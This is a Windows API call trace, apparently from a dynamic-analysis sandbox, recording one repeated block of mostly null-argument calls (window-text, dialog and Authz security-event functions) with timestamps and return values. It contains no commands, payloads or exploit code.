SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.610] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.610] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.610] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.610] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.610] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.610] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.610] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.610] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.610] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.610] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.610] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.610] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.610] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.610] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.610] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.610] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.610] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.610] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.610] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.610] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.611] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.611] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.611] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.611] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.611] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.611] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.611] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.611] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.611] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.611] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.611] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.611] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.611] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.611] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.611] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.611] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.611] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.611] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.611] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.611] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.611] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.611] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.611] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.611] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.611] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.611] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.611] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.611] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.611] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.611] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.611] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.611] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.611] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.611] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.611] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.611] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.611] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.611] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.611] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.611] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.611] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.612] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.612] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.612] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.612] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.612] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.612] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.612] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.612] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.612] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.612] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.612] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.612] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.612] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.612] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.612] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.612] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.612] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.612] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.612] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.612] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.612] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.612] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.612] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.612] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.612] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.612] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.612] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.612] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.612] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.612] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.612] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.612] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.612] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.612] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.612] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.612] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.612] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.612] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.612] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.612] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.612] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.613] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.613] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.613] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.613] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.613] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.613] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.613] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.613] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.613] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.613] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.613] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.613] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.613] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.613] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.613] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.613] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.613] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.613] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.613] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.613] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.613] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.613] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.613] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.613] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.613] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.613] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.613] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.613] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.613] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.613] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.613] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.613] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.613] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.613] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.613] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.613] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.613] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.613] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.613] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.613] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.614] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.614] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.614] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.614] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.614] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.614] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.614] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.614] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.614] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.614] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.614] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.614] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.614] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.614] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.614] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.614] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.614] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.614] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.614] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.614] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.614] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.614] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.614] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.614] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.614] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.614] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.614] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.614] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.614] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.614] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.614] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.614] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.614] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.614] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.614] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.614] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.614] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.614] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.614] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.614] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.614] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.615] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.615] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.615] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.615] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.615] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.615] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.615] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.615] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.615] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.615] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.615] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.615] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.615] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.615] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.615] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.615] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.615] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.615] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.615] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.615] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.615] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.615] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.615] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.615] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.615] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.615] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.615] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.615] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.615] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.615] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.615] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.615] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.615] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.615] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.615] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.615] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.615] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.615] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.615] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.615] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.616] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.616] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.616] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.616] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.616] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.616] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.616] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.616] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.616] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.616] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.616] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.616] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.616] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.616] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.616] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.616] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.616] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.616] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.616] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.616] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.616] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.616] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.616] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.616] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.616] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.616] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.616] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.616] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.616] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.616] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.616] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.616] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.616] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.616] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.616] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.616] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.616] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.616] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.616] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.616] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.616] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.617] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.617] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.617] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.617] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.617] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.617] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.617] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.617] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.617] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.617] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.617] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.617] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.617] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.617] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.617] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.617] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.617] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.617] AuthzReportSecurityEventFromParams (in: 